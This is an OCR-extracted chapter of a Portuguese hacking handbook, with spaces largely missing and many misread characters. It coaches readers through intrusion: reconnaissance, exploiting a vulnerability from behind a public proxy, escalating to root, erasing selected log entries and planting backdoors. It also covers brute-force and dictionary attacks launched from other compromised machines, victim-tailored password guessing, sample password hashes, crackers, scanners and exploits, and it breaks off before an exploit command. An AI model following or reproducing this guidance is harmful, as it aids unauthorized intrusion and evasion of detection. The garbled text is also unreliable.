ninguémaserhacker,poisissodependedeanosdeestudo,evoluçãocontínuae abnegação.Nestecapítulo,vamosestudaralgumasferramentase falhasdesegu- rançamaiscomunsemmicrosdomésticose comoexplorá-Iasdaformamais eficaz.Obviamente,aquiaindaestaremosno terrenodoslammers.Masmesmo sendoprocedimentostecnicamentesimples,veremosquenãosãonadainócuos. Osquatropassosparaumhackingfeliz Vocêjá fez todaa partede EngenhariaSocial(queseriao passozerodesta lista)navítima.Ou encontrouumavítimapor acasoemsuaslongasnoitesde buscaaesmopelaInternet.Jádescobriuondeestãoasbrechase queferramen- tasusar.Sólherestainvadi-Ia,masaperguntaé:como?Seráfácil?Seráquenão é umaarmadilha?Seráqueo meuscannermeenganou? A respostaparatudoissoé planejamento.Os passosa seguirforamcompi- ladosdediversosrelatosdehackers/crackers.Nãotêma intençãodeseruma cartilha,maspodemservirde baseparaa mçmtagemde ataquesbem-sucedi- 3 Tomarposse da máquina invadida, desfigurando-aou recuperando dados secretos,no jargão aceito pelos kiddies. 11341 Vulnerabilidades I r
  • Universidade1°ano dos.Sãodestinadosa ataquesa redesdeempresas,masé possíveladaptá-Iospara atacarcomputadorespessoaissolitários,também. 1. Umavezdescobertaa vulnerabilidade,nãotenteinvadirsuapresaimedia- tamente.Ao contrário,conheçasuavítima.Visite seusitena Internet(semata- car,apenasolhe).Sefor na suacidade,visite suasedee tentedescobrirmais sobreprodutos,empregos,serviços,funcionários,hábitos...Podem-seusartéc- nicaspassivas(observaçãoparaver o que entrae o que sai da máquinaou rede) ou ativas,como organizarminiataquesa pontos isoladose verificaras mensagensquesãoretornadas.O importanteé coletarinformaçõessuficientes paraelaborarum plano de ação,preferencialmentecom desfechosalternati- vos,casoalgodê errado. 2. O primeiroacessoagentenuncaesquece.Essaé a partemaisimportantedo ataque.Pode-sedizerqueestaetapaé o ataquepropriamentedito.Depoisdedes-. cobertaavulnerabilidadee examinadoo comportamentodavítima,useo exploit apropriadoparaganharacessolimitadoaosistema.E nãoseesqueçadeusarum proxypúblicoparaesconderseuendereçoIP!!! 3.Humm.Umavezcomacessolimitado,a próximaetapaconsisteemganhar acessototalàmáquina(rootparasistemasUnix,administradorparasistemasWinNT - noWin9x,o primeiroacessojágarantecontroletotaL). CadaSOpossuiprocedi- mentosdiferentesparatal.Umavezconseguidoo acessoirrestrito,bastacoletaras informaçõesdesejadase, sefor o caso,desfiguraro sistema. 4.Agoraquevocêjá"ownou"o sistema,tratedecobrirseusrastrose instalaras portasdetrás.Verifiqueos logsdo sistemae apaguetudoo quefor relativoà sua visita,MASAPENASISSO!Resistaàtentaçãodeapagaro logtodo- um"buraco"no registrode eventosfarácomqueo administradordescubramaiscedodo que o esperadoquealguémandoubulindocomseubrinquedo.Depoisdefazeracirurgia noslogs,instaleosbackdoors.Algunshackersmaisexperientestêmo cuidadode aplicarpatchesno sistemapararemoverasportasqueos deixaramentrar,evitan- doassimqueoutroshackersmenoshabilidososentremnosistemae,pordescuido, alertemo administradordequeamáquinafoi tomada. Algunsdospassosdevemserrepetidos,especialmenteo 2. Em algunscasos seráprecisofazerdiversosminiataques"1 2 3 4","1 2 3 4", até que todasas brechastenhamsido encontradase exploradas.Obviamenteestamosfalando de sitese computadoresfrouxamentemonitorados:tenhasempreem mente quemuitossistemaspossuemIDS (IntrusionDetectionSystems),quedetectam scanse auditamos logsdo sistema(o quevocêapagaé guardadoemoutrolog escondido...),aumentandoassima possibilidadedevocêserpego.Há aindaos sistemaschamadosde Honeypots,que apresentamao invasorumaaparência desistemavulnerável,mas,narealidade,o conduzemparaumaarmadilha.Nin- guémquer ir paraa cadeiae, mesmoque não hajaimplicaçõespenaisdesse tipo,serpegosempreé,no mínimo,desagradávele desabonador.Algunscuida- dos devemser,portanto,seguidosparaque o invasorpossadesfrutarde sua presasemser importunado. 1135I ]VulnerabilidadesI
  • I UniversidadeH4CK3RI Searchanddestroy Agoraquevocê possuiumaidéiageralsobrecomo organizarum ataque (lembre-se:PLANEJEANTES!!!),podemosapresentá-Ioa algumasferramentas que o ajudarãoemseusataques.Masnotebem:a velocidadecom a qualas armassãocriadase neutralizadasé violenta!Nãoseatenhaaquiaoprograma em si, massimao modode usarumaferramentadessasparaconduzirum ataque.É quasecertoquetaisferramentasnãoserãoeficazes,poisos compu- tadoresjá estarãoprotegidoscontraelas.Mastambémé certo que novos softwaressurgirão.Fiqueligado! Logins fracos Nãohánecessidadedeferramentaalguma,sequeminstalouo softwarejáfezo serviçoparavocê.Todosossistemaspossuemalgumascontas-padrãojáconfigura- dasantesdeo sistemaserinstalado(ouseja,jánamídiadeinstalação).Éobrigação dequemestápreparandoumamáquinaparautilizaçãorealsaberquaissãoessas contase mudarassenhasdasqueserãousadas,desabilitandoasrestantes. Tristemente,vemosdiversos"administradores"por aí que recebemseus Windows2000eseusUnixdiretamentedofornecedorenãosepreocupamem fazerumaanálisedesegurançaantesdecolocaro equipamentoemprodução. Paraquemquerbrincardehacker,sistemasassimsãoumpratocheio.Mesmo que as senhassejamalteradas,saberque tais contasexistempode ser um facilitadorparao scriptkiddie,umavezquemetadedaduplajá é conhecida, faltandoapenasadivinhara senha. No CD,reunimosdiversosconjuntoslogin/senhacomuns,válidosparaamai- oriadossistemasoperacionais.Estãoemformatotextoe podemserutilizados comolistasdepalavrasemquebradoresdesenhas.Loginscujassenhasnãosão mostradasna lista sãocontasque existemmasparaas quaisnão há uma senha-padrãoconsagrada.Experimenteessascombinaçõesemsistemasconhe- cidosseus.Hásistemasnosquaisvocê,por engenhariasocial,já conhecealgu- mascontas,faltatentaralgumasenha.Namaioriadoscasos,umadaspalavras dalistaacimaé usadacomosenhapor alguém. Arrombandoa portada frente Nosvelhosebonstempos,aspessoasnãoeramtãoligadasemsegurança,efuros comoosdascontase senhas-padrãoeramfreqüentes.Mashojetodossãoparanói- cos.Hámuitomaischancesdevocêdeparàr-secomumsistemaemquetodasas contas-padrãoforamcanceladase parao qualengenharia.socialnãoé possível. Nessescasos,o hackernãotemoutraalternativasenãotentar,umapor uma, todasascombinaçõesdelogine senhaqueelepuderimaginar.Por nãodeman- darinteligência,mastrabalhobraçal,talprocedimentoéchamadodeforçabruta oubruteforce.Fazê-Iamanualmenteé impossível,dadasasproporçõesdatarefa, entãoos crackersnormalmenteusamprogramasqueautomatizamo processo. 1136I VulnerabilidadesI [
  • Universidade1°ano o broteforceé seguramenteo métodomaisdeselegantedetentarumainva- sãopor logine senha.Vocêpodefazerbroteforceno computadordo seuir- mão,emcasa,paradescobrirassenhasdosarquivosExcelou PDF,por exem- plo.Ou podetentar,via Internet,entrarnaquelesitede sexocomumadupla usuário/senhaexistente,emvez de buscarquebrara segurançado sitepor outrasvias.Tambémpodeexperimentarentrarna árearestritadarededesua empresa.Dequalquerforma,o broteforceé deselegante,facilmentedetectável e,emsistemasbemconfigurados,inócuo. No exemplodosite,umsistemadecontroledeacessobem-feitocancelariao usuáriooutravariao loginpor umtempodeterminado,casomaisdetrêstenta- tivassemsucessofossemfeitas.Emsituaçõesdewar-dialing,énecessáriodiscar parao modemno qualsequerpenetrarparacadatentativadebroteforce,o queo tomadispendiosoemtermosdedinheiroe tempo.Entretanto,hácasos (normalmenteosmaisdifíceis)emqueo broteforceé aúnicasaída. Háumoutrométodoparecido,quepodeserconsideradoumbruteforceinte- ligente:os ataquespor dicionários.Utilizam-selistasde palavrascomuns:no- mespróprios,marcasconhecidas,gírias,nomesdecanções,f1lmes...Ossoftwares modernosdeforçabrotaempregamambosos processos,tentandoprimeiroa listadepalavrasparadepoisaplicarascombinaçõesseqüenciaisdo brotefor- ce"primitivo". Obviamente,o broteforceé umprocedimentoperigoso.Um administrador de sistemasseguramenteperceberáque os logs de falhasde login crescem assustadoramente,e quetodasastentativasvêmdeumúnicoIP.Umpaleativoé colocarumaesperadealgunsminutosentreumatentativae outra,masissovai retardaraindamaisumprocessoque,normalmente,podedurarváriosdiasou mesmosemanas.O procedimentomaissensatoé invadirváriossistemassem importânciae dispararo broteforce a partirdeles(obviamente,semprese lembrandode apagarseusrastros). Hackers mais experientessabemque as listas de palavrasdevemser customizadasparacadaalvo,e que,paraserconsideradaboa,umalistadeve conterelementosconseguidospor engenhariasocial,comoo nomecompleto do usuário,desuanamorada,esposaou fIlhos,seuspassatempos,o modelode seucarronovoou seuendereço.Informaçõescomoestassãoutilíssimas,efeti- vasemmaisde50%dosataques- principalmentequandosetemumnúmero razoáveldecontasválidas,bastandodescobrirapenasa senha.Seo candidatoa invasornãosouberpelomenoso logindeumacontaválida,é quasecertoque suastentativasserãoinfrotíferas. Sualistadepalavrasdeveconternomesprópriosdopaísondeamáquina-alvo se encontra.LivroscomoQuenomedareiaomeufIlho?ajudammuitonessa hora,e conseguirediçõesdesseslivrosemdiversaslínguasé umrefInamento importantedatécnica.Procurarnalistatelefônicaouemsuaagendacomercial por nomese anotaçõesdeoutraspessoa~tambémé umaboaidéia. 1137I I VulnerabilidadesI
  • IUniversidadeH4CK3RI Sempretendoemmentequesabero logincorretodavítimaé maisquemeio caminhoandado,aquivãoassugestõesparaaplicarcomosenhanesselogin: 1. Sempretentetodosos nomese sobrenomesdavítima,umpor vez.Seo loginé o primeironome,ouumacombinaçãodenomes,hámuitaschancesde que a senhasejaalgumdos outros nomes,seguidosou não de números seqüenciaisouletras._A,_B,_C ou -XYZ tambémsãoSufIXOScomuns(emmai- úsculasou minúsculas). 2.Sedisponíveis,tenteaspalavrasconseguidasporengenhariasocial:namorada/ esposa,filhos,carro,passatempo,posiçõessexuais,nomesdoschefes...Emseguida, tenteosnomesprópriosmaiscomunscopiadosdaagendaoudalistatelefônica. 3.Tambémé umaboa idéiatentaralgorelativoao sistemaque estásendo invadido.Sea máquinaemquestãoé a únicaquepossuiAutoCADemtodaa empresa,tenteassenhasacad,autodesk,autocadou cadcad.Seestiveremum terminaldemainframesIBM,tenteibmibm,X3270,bigblue,X25.EmumVAX, experimentevax,vms,digitaloucompaq. 4. Usuáriostambémsãosensíveisaolocalondetrabalham.Experimentealgu- macoisarelativaàcidade,bairroouruaondeaempresaseencontra,o próprio nomedaempresaouseusprodutosmaisfamosos.EmumamáquinadaTelemar, porexemplo,poderiamsertentadasassenhasDDDeh31,veloxouinterurbano. Às vezes,o funcionárioestádesgostosocom a companhia.Suasenhanesses casoscostumaserouumapalavradebaixocalãooualgumprodutodaconcor- rência(exemplo:umfuncionáriodaConectivapossuia senhawindowsxp). 5. Porúltimo,deve-se,separadamente,tentarsuaslistasdepalavrase senhas comuns.Nuncauselistascommaisdecempalavras,poisvocêficariaexposto demaise facilmentedetectável,alémdemodularizare especializaro ataque. Umprocedimentoimportanteaoelaborarsuaslistasdepalavrasé tentarpen- sardamesmamaneiraqueo usuário.Casoelefujadascombinaçõescomuns (nomedaesposa,ftlhos,etc.),suasenhaseráo queprimeirolhevieràcabeça, ou o nomedealgumobjetoqueestáemsuaescrivaninha. No CD hádiversosprogramasparabruteforce,a maioriacompossibilidade de seusaremtantodicionáriosquantocombinaçõesseqüenciais.Nãovamos recomendarnenhumaqui:teste-ose tiresuasprópriasconclusões. Sem quebrar o ovo não se faz omelete Imaginea situaçãoinversaà daseçãoanterior.Vocêjá entrounumamáquina UnixouWindowsNT/2k/XPe capturouoarquivodesenhasdosistema.Obvia- menteessassenhasestãocriptografadas,portanto,o arquivopoucolheseráútil se não fosseumaoutraclassede programasque todo crackerdeveter:os quebradoresdesenhas. Na maioriadasvezes,invade-seo sistemapor algumdescuidodo administra- dor,mascomumusuáriocujospoderessãomuitolimitados.Roubando-seo ar- quivodesenhas,é possívelentrarnasáreasprivativasdosoutrosusuários(den- 138I Vulnerabilidades I r
  • Universidade1°ano trodamesmamáquinaounarede)e capturarinformaçõesúteisparaumataque maisprofundo,oumesmodadosvitais,comosenhasparaoutrosserviços,acesso aáreasrestritasdaempresaounúmerosdecartãodecrédito.É possíveltambém conseguira senhadoadministradore reahnente"ownar"a máquina. Arquivosde senhascriptografadasgeralmentepossuemhashesao ladodos logins.Hashessãoumaseqüênciadesímbolosque,confrontadoscoma chave criptográficacorreta,revelaa senhado usuário.NoWindowsNT (e,posterior- mente,noWindows2000e noXP) assenhassãoarmazenadasno registro.Um exemplodehashdoWindowspoderiaser: maedinah:1001:3592C2B9967FD3A4976EED543AC98756C3C3CFA2:8903 AD475E3478C45D15B1749777DCFD3CC4457::: o primeirocampoé,obviamente,o logindousuário.O segundoé o ID único dousuáriono sistema.SistemasdafamíliaWinNT possuemtalidentificaçãoda mesmaformaquenosUnix,emboraissosejaescondidodosusuários.Depois temosdoisgrandesnúmeros,querepresentamassenhascriptografadasdo sis- tema.A primeiraé arepresentaçãodasenhapararedesMicrosoftantigas,com- patíveiscomLAN Manager.Por issomesmo,é chamadadeLM Hash.Naverda- de,nemé asenhaqueé criptografada.Docontrário,o sistemageradoisnúme- roshexadecimais,e essesnúmerossãocriptografadospelo padrãoDES(Data EncryptionStandard),usandocomochavea senha,ajustadapara14caracteres (casoo usuáriotenhaescolhidoumasenhamenor,sãoaplicadosenchimentos). Cadametadedasenha(setecaracteres)é usadaparacriptografarum dosnú- meroshexadecimais.Essarepresentaçãodasenhaé muitofracae é facilmente decodificávelporhackers.O métodonormalmenteutilizadoé adivisãodohash emduaspartes,e o hackerusapasswordcrackersindependentesem cada pedaço,acelerandoa quebradasenha. A seguinteé a chamadarepresentaçãoNT dasenha.Ao contráriodaanterior, essarepresentaçãoé muitomaisdificildedecifrar.A senhaé,também,ajustada para14caracterese depoiscriptografadatrêsvezescomo algoritmodehashing MD-4.Apesarde muitomelhor,aindaé ineficientesecomparadoaossistemas Unix.Falta"sal".O conceitode"salting"(ou"salgar")é interessante.Qualquer algoritmodecriptografiabaseia-senapermutadevalores.Temperaro hashing comsaltsignificaescolheraleatoriamentemuitosdosvaloresparapermuta,adi- cionandoumanovacamadadedesafioparaareversãodocriptograma.Afaltade "tempero"permiteao crackerusarapenasumaestimativade hashingparaa senha,diminuindoconsideravelmenteo temponecessárioparadescobri-Ia. Mesmosemesseproblema,oWindowsNT/2k/XPpossuioutroinconveniente gritante:oshashessãolegíveispor qualquerusuário.Nãohácomoprevenirque crackerstenhamacessoaeles.Alémdisso,namaioriadoscasos,a mesmasenha blindadapelohashNT estáfracamentedissolvidano pseudo-hashLM. Desco- 1139 1 ]VulnerabilidadesI
  • IUniversidadeH4CK3RI brindoo segundo,é provávelqueo crackertenhaacessoaosistemae àrede. No Unix,asinformaçõesde loginsãoarmazenadasno arquivo/etc/passwd. O conteúdodoarquivopasswdémuitomaiscomplexo(ecompleto)queo seu equivalentemicrosoftiano. nonodeogum:$1$YgQ8Da9T$WFS59jmV80kWAia2cjr8u1:500:500:Pai Nono de Ogum:/home/nonodeogum:!bin!bash Daesquerdaparaadireita,separadospordoispontos,temos:nomedelogin, hashdasenha,ID dousuário,ID dogrupoaqueelepertence(tantonoWinNT quantono Unix os usuáriossãoorganizadosemgrupos),nomecompletodo usuário(esteé o antigoG-COSfield),localizaçãodo diretóriopessoal(home) do usuárioe shelldelogin.Observeo hash.É muitomaiscomplexoqueo do WinNT.Nãohácomoo hackerdescriptografarasenhaporqueelaé"sódeida". A chavedecriptografiaé aplicadaquandoo usuáriocadastraasenha,ficandoo resultadodohashingguardadono arquivopasswd.Achave,sendode"mãoúni- ca",sópodeserdescobertapor bruteforce.Quandoo usuárioIoga-seno siste- ma,a senhado arquivopasswdnãoé decifrada.Ao contrário,a senhaqueele forneceduranteo loginé criptografadanovamentee comparadacom a que estágravadano arquivo.Seambas"baterem",o usuáriotemacessoaosistema. Umadascaracterísticasinteressantesé quenenhumalgoritmode criptografia geraum hashque contenhao caractere"*".Por isso mesmo,colocar um caracteredessesno lugardasenhaimpedeo loginpor aquelaconta. A abordagem/etc/passwdtemum problema.Todosos usuáriosdevempo- derler doarquivo,poissuasinformaçõesvitais(UlD,GID,homee shell)estão nele.Issoquerdizerqueoshashesdetodososusuáriosficamdesprotegidose qualquerlammercomumacontano sistemapodequererrodarumquebrador desenhasneles.Mesmosendodifícildequebrar,umarquivoquepodeserlido por todomundotambémpodesercopiadoemdisquete,levadoparacasae quebradosossegadamentepor umamáquinacomum,semqueninguémsaiba. Para resolver esse problema,a maioria dos Unices de hoje utiliza o sombreamentodesenhasoushadowpasswords.O shadowé umarquivocom permissãode leituraapenasparao root.No /etc/passwd,no lugardasenha, temosum"*,,ou"x"paraindicarqueasenhaestánoarquivoshadow.Estatécni- casozinhatornaimpossívelconseguir,comousuárionormal,assenhasdeou- trosusuários.E, comosabemos,na maioriadosataquestemosde conseguir acessorestritoprimeiroparadepoistentaracessoirrestrito.Um únicoexpedi- entecolocadoisníveisdedificuldadeamaisno caminhodo cracker. O quebradordesenhamaisconhecidoparaafamíliaWinNTé o LOphtCrack, umaferramentade usomuitofácil e capazde quebraros fracoshashesdo Windowsempoucotempo.Atualmenteestádisponívelapenasemversãoco- mercialcustandoUS$350,maspode-seconseguiro código-fontedeumaver- 140 I VulnerabilidadesI [
  • Universidade1°ano sãomaisantiganoendereçowww.atstake.com/research/1c/download.html.Para Unix,avedeteéo fabulosoJoOOtheRipper.O softwareé capazdequebrar,com algumaajudadaengenhariasocial,assenhasdosarquivospasswde shadow(se o crackerconseguiracessoa eles)e, em conjunçãocom ferramentasde conectividade,podecapturarsenhascriptografadasquetrafegamemumarede. AlémdeUnix,háversõesdo programaparaDOS,Win32,BeOSe OpenVMSe checagemdeKerberosAFSepseudo-hashesLM doWindowsNT!2k!XP.O JoOO theRipperestádisponívelemwww.openwall.com/joOO/. O leitordeveternotadoquenãomencionamosafamíliaWin9xnestaseção sobresenhas.O motivobemsimples:não há segurançanesseambiente.As senhassãogravadasemarquivoscomo nomedo usuárioe a extensãoPWL. Deveserrelativamentefácilquebrarassenhasembaralhadasnessesarquivos (recusamo-nosa usara palavra"criptografadas"aqui),masnãohá necessida- de de tanto:bastaapagaros arquivose o Windowsalegrementepedenovas senhas...Entretanto,comoosarquivosPWL podemguardar(e normalmenteo fazem)a mesmasenhadarede.quebrá-Iospodeserbemútil!Há milharesde quebradoresde PEL no packetstormsecurity.nl. Scanners Scannerssãoprogramasutilizadosparavarreroscomputadoresemumarede à procuradevulnerabilidades.Há portasabertasa ataquestantoemmáquinas pessoaisquantoemservidoresdetodosostamanhos.Os scannersbuscamsiste- masqueestejamdesprotegidose prontosparareceberumaanáliseminuciosa sobresuasegurança.A maioriadosscannersnãofoidesenvolvidacom intenção deusomaligno.Mascomoarosabonitae perfumadatambémpossuiespinhos, sãoutilizadospelosdoislados:oshackersosutilizamparao ataque,enquantoos administradoresprocuramasbrechasparafazerasdevidascorreções. Existemscannersespecíficos,desenvolvidospor empresas,quedãoênfaseà segurançae quegeralmentecustamcaro.Comoumcrackernãorespeitanada, fatalmentetaisscannerscairãoemsuasmãos.Outrossãocriadospor hackers maisexperientes.Enquantoavulnerabilidadequeessesscannersexploramfor segredode clãs,poucosterãoacessoa eles.Depoisqueficamobsoletos,são postosna redeparaqueos scriptkiddiespossamfazeruso.Por isso,é bom lembrarquescannersencontradosfacilmentenaInternetpodemnãosermais tãoeficientesou sãomesmocompletamenteinúteis. Podemosdividiros scannersemdoistipos:o scannerdeportasTCPjIP aber- tas(ouportscanner)e o scannerdevulnerabilidadesconhecidas. Portscanners TodamáquinacomconectividadeTCPjIP possui,emteoria,maisde 128mil pontosvulneráveis.Cadaserviçoderedequeestiverdisponívelemumadeter- minadamáquinaéumaportadeentradaempotencial- comovimosno capítu- 1141 1 ]VulnerabilidadesI
  • IUniversidadeH4CK3R, 10sobreUnix.EmRedesI, aprendemosquecadaumdessesserviços"escuta"a redepor meiodeumaportarepresentadapor umnúmero,à esperadecone- xões.Comosão65.536portasparao protocoloTDP e 65.536portasparao protocoloUDp,temosaí umaverdadeiralegiãode hidras.Por exemplo,se a máquinaforumservidorWeb,ébemprovávelqueaportaTCP 80estejaaberta, paraqueoutroscomputadorespossamacessaraspáginasHTML.Outroexem- plo:umamáquinaWindowsqueestejacomo compartilhamento("share")de arquivosligado"escuta"asportas137,139e 455à esperadeoutrasmáquinas Windowsquequeiramler os arquivoscompartilhados.Essesnúmerosestão normatizadosna RFC17004. OsportscannersverificamasportasTCP/lP abertasdeumsistema.Seuobjetivo élistarosserviçosderedeTCP/lP disponíveis,fazendocomquerespondamquan- doconsultados.Comosresultadosfornecidospeloportscannere o conhecimento daRFC1700,o hackerpodedeterminarquaisserviçosestãodandosopae aplicar nelesosexploitspertinentes.Existemtambémosstealthportscanners,queutili- zamtécnicasdenão-conexãoouconexãoincompletaparanãoseremdetectados- nemsemprecomsucesso- comosetivessemumsistemadecamuflagem.Osadmi- nistradorestêmdeutilizarferramentasespecíficasparadetectá-los. Quasetodasastécnicasdeportscanningvalem-sedossinais(ou flags)TCp, UDP ou ICMP trocadosentreos programasque queremse conectar.Apenas parareferênciarápida,ossinaissãoestes: PSH(push)- Umtipode"válvuladedescarga",aceleraatransmissãoparapoderfinalizá-Ia SYN (synchronize)-Tentativadesincronizaçãoentreportas ACK(acknowledge)- Indicaqueospacotesanterioresforamaceitosnodestino RST(reset)- Interrompeaconexão,devidoaerrosou"quedadelinha" FIN (finish)- Finalizadordeconexão,usadonofimdatransmissão(nãohámaisdados) URG (urgent)- Sinalizadordeurgênda A partirdaanálisedessessinais,os scannersretiraminformaçõesúteissobre os sistemase os comparamcom padrõespredefinidos.O resultadodissoé passadoparao hacker,que interpretaos resultadosbaseadoemsuaexperi- ênciae conhecimentoe decidequaisexploitsusar.Escovaremosmaisbits sobrehadshakeTCP/lPe funcionamentodescannersnoscapítulosseguintes. Setudoatéaquilhepareceuconfuso,nãoprossiga.Releiao capítuloRedesI, e algunsdostutoriaissobreTCP/lP incluídosno CD.Recomendamosaindaos excelenteslivrosdeAndrewTannembaume do Prof.GabrielTorres,Redesde Computadores.Apesardo mesmonome,sãodoislivrosdiferentes.A Internet tambémestácheiadetutoriaissobreTCP/lP.Useseumecanismodebuscafavo- rito e divirta-se! 4 Requestfor Commentssão documentoscom recomendaçõespara implementaçãode serviçose normasparaa Internete redesemgeral.Todoselespodemser consultadosem www.ietforv./rfc.html. 1142 1 Vulnerabilidades I r
  • Universidade1°ano Funcionamentode um scanner de portas ExistemcentenasdescannersdeportasespalhadospelaInternet.Emprimei- ro lugar,devemosescolheraplataformanaqualvamostrabalhar,Unix (incluin- doaíLinux)ouWindows.Grandepartedosiniciantesprefereasegundaopção, poisamaioriadasferramentassãomaisfáceisdetrabalhar.Depoisde"brincar" umpoucocomessesscannerseverificarseumodusoperandi,podemospassar a usarscannersmaiscomplexose poderosos. Umadasopçõesdosbonsprogramasdescanéapossibilidadededefinirumrangeou faixadeIPsaseremverificados.Porexemplo,poderíamosvarrerosendereçosentre 192.168.1.1e192.168.1.10- dezmáquinasemumaredeprivada- ouentre64.x.x.le 64.y.y.254- 252máquinasnaInternetpública.Observequeemqualquerfaixadeende- reçopoderemosencontrarcomputadorespessoais,estaçõesdetrabalhoouservidores. Omitimosx.xey.ydosendereçosdoexemploparaprotegerosinocentes.;-) LembrandoqueIPs internoscomoos de grandesempresasnãopodemser atacadosdiretamentepela Internet.Serianecessáriopassarprimeiro pelo gateway,pelo firewall,conseguirum shell em algumamáquinaque possua interfacesde redetantona Internetquantonaredeinternae mapeara rede internaatéchegaràmáquinadesejada- o quenãoénadafácil,porenquanto... No casodeumendereçodiretamenteconectadoà Internet,é necessáriofa- zerumaescolhadasportasmaiscomumentevulneráveis.Apósdefiniro range dos IPs, podemos,ao nossogosto,definirquaisportasvamostestare quais métodosusaremosnelas.Restringiro númerodeportasé umaatitudesábia, pois,sevocêescanearTODASasportas,seguramenteserádetectadopor um administradoratento(ouumIDS).Comececomos serviçosmaiscomuns,nos quaisvocêpodeserconfundidocomo tráfegonormal.Nossassugestõessãoas conhecidasportas21(Telnet),25(Mail),53(DNS),80(Web)e 139/445(SMB/ CIFS).Parafinsdidáticos,consideremosescanearasportas.Depoisdeconfigu- rado,bastacolocaro programapararodare veremoso seguinteresultado: Address : 192.168.1.12 Port 21... Listening Port 22 ... Listening Port 25 ... Listening Port 110 ... Listening As portas21,22,25 e 110podemestarabertasparaumapossívelinvasão, podemestarsobavigilânciadeumadministradore podemrealmentesersegu- ras.A porta 110ofereceo serviçoPOP3.É por ondevocê se conectapara baixarseuse-mails.Ora,essaportaTEM de estaraberta(nosservidoresde e- mail,obviamente),deoutraformaninguémpoderialercorrespondênciaeletrô- nica.Portasabertasnãosãosinônimodeinsegurança.O problemasãoasportas aberta,cujosprogramasqueas"escutam"possuemfalhasdesegurança. 1143 1 I VulnerabilidadesI
  • IUniversidadeH4CK3RI oportscannermaisconhecidodafacedaterraéo nmap(www.insecure.org/ nmapf).DesenvolvidooriginalmenteparaUnix, possuiversõesparamuitos sistemasoperacionais,incluindoo Windows.Concebidoparaa linhade co- mando,possuidiversosfrontendsgráficos,comoo NmapWinparaWindows (www.nmapwin.org)e o nmapfeparaUnix (inclusono pacotedo nmap).Ex- tremamenteflexível e poderoso,o nmape váriosde seusfrontendspara Windows,Unix e Macestãoincluídosno CD. Scanner de vulnerabilidade Nósutilizamososportscansparaverificarosserviçosativosemumdadosiste- ma.Umavezdeterminadosessesserviços,entraemcenaum outrotipo de scanner:odevulnerabilidades.Basicamente,aidéiadoscannerdevulnerabilidade é,atravésde umalistade falhasconhecidas,checarseo sistemaestáou não executandoumserviçocomproblemas.Estesscannersfacilitamsobremaneira o trabalhodo invasor,automatizandoo processode conexãoa cadaum dos serviçoslistadospeloportscane averificaçãodefraquezas.Sendoautomático, poupaaoinvasordiasdetrabalho,poispodechecarsozinhodezenasoumesmo centenasdevulnerabilidadessema intervençãodo black-hat. Um bomscannerdevulnerabilidadedeveverificaros seguintesitens: ~Erros comuns de configuração:administradoresde sistemainaptose usuáriosleigosdeixam,por incompetência,váriasportasabertase fraquezas desprotegidasemseussistemas. ~Configuraçõese senhas-padrão:nãohá nadade queum hackergoste maisdo que um administradorde sistemasque instalasoftwarese os deixa comasconfiguraçõesde fábrica.Ri-sede babarao perceberservidorescom usuáriose senhas-padrão(do tipo usuário:root senha:rootou usuário:admin senha:master)oucomdiversosserviçosinsegurosdesnecessariamenteativados. ~Combinaçõesóbviasde usuárioe senha:outroproblemasãoassenhas óbvias.Usuárioscomunsjápossuematendênciadecolocarumasenhafácilde lembrar(o nomedaesposa,por exemplo).A situaçãopioraquandousamcom- binaçõesde nomesnotoriamentepúblicos.Exemplosdeparesusuário/senha fracos:fabio/junior,wanderley!luxemburgo,alice/cooper,carla/perez,george/ walkerbush. Outro problema são senhasde palavrasdo dicionário: há quebradoresdesenhacomlistasdepalavrascomuns.Umestudofeitoem1998 por umaempresanorte-americanamostrouque82%dosfuncionáriosutiliza- vam,comosenha,algumaposiçãosexualou o nomedo chefemodificadode formapejorativa. ~Vulnerabilidades divulgadas:sempreque umafalha de segurançaé divulgada,háumacorridadosdesenvolvedoresde softwareparasaná-Ias.Mas tambémháumaoutracompetição:a doshackersquequeremchegaraossiste- masvulneráveisantesdeseremconsertados. Umscannerdevulnerabilidadespode,por exemplo,descobrirquesuaversão 11441 VulnerabilidadesI [
  • Universidade1°ano do servidordeSMTPsendmailé muitoantigae possuio famososendmail-bug. Ou quevocêaindaestáusandoo MSN Messenger4.6 e, portanto,emprega controlesActiveXvulneráveis.Ambassãofalhasmuitoantigas,mas- quemse importa?- sevocênãodeuatençãoaosconselhosde seugurude segurança favoritoenãoatualizouseussistemas,o problemaé todoseu.Essessãoapenas doisexemplosdascentenasdetestesqueumúnicoscannerdevulnerabilidades pode fazerpor você.Scannersmaismodernosjá incluem,em um mesmo software,portscans,vulnscanse mapeamentoderedes.Um exemplodissoé o excelenteNessus(www.nessus.org).queseráabordadonos capítulosfinais. Exploits Exploits são scripts e programas designados para exploração de vulnerabilidadesemsistemas.Assimcomoos scanners,elespodemserusados tantopor administradoresparatestarasfalhasdesegurançaemseusservidores quantopeloshackersqueosutilizamparainvasãoe aquisiçãodeinformações. Háváriostiposdeexploitse cadaumpossuiumaformadiversadeaplicação. Paraalgunsdeleso hackerprecisater acessoao Shellda máquina-alvo.Isso podeserconseguidopormeiodeumcavalodetróiaexecutadopelavítimaem seusistema.Taltrojanabreumaportadecomunicação(sim,umaportaTCP/lP, comnúmerodeterminadoeumprotocolo)e permitequeo invasortenhatotal controlesobrea máquina,o queinclui instalaçãode programase,portanto,a aplicaçãode qualquerexploit.Note que,nestecaso,já houveumapequena invasão:o exploitpermitequebraroutrosníveisdesegurançae,assim,obterum acessomaisprofundo. Outrosexploitsservemjustamenteparaconseguiro acessoaum shelle po- demseraplicadosatravésdeumsitequecontenhaumcódigomaliciosoescon- dido.E-mailsemformatoHTMLtambémsãovetoresdessetipodecódigo.Nor- malmente,o que essesexploitsfazemé gerarum estourode pilha (buffer overflow)e,comisso,confundira máquina-alvo,fazendo-aabortaro progra- maemexecuçãoedevolverumalinhadecomando.E,por ora,bastasaberque todosos programaspossuemumaáreade memória(ou buffer)paratrocar dadoscom outrosprogramasou parainteragircom o usuário.Essaáreade memóriatemum tamanholimitado,e programasmalescritoscomportam-se de formaestranhatodavez que o buffer fica cheio. O próximo dadoque tentarentrarno buffere nãoconseguirgeraráinstabilidadesno programae poderáparalisá-Io. Umexemploprático:descobre-senoendereçovitima.com.br(atençãolammers: o endereçoé fictício)umsistemaUnixrodandoumaversãovulneráveldoBIND, umservidordeDNS.Um exploitparaessaversãodeBIND chamadobindxplté encontradono siteRootshell,quepermitea execuçãodecomandosarbitrários pelodaemonnocaractereseguinteaoúltimoquecabianobuffer.Lembrandoque elesórodacomprivilégiosderoot,executa-se,namáquinadohacker,o comando: 1145 1 1 VulnerabilidadesI
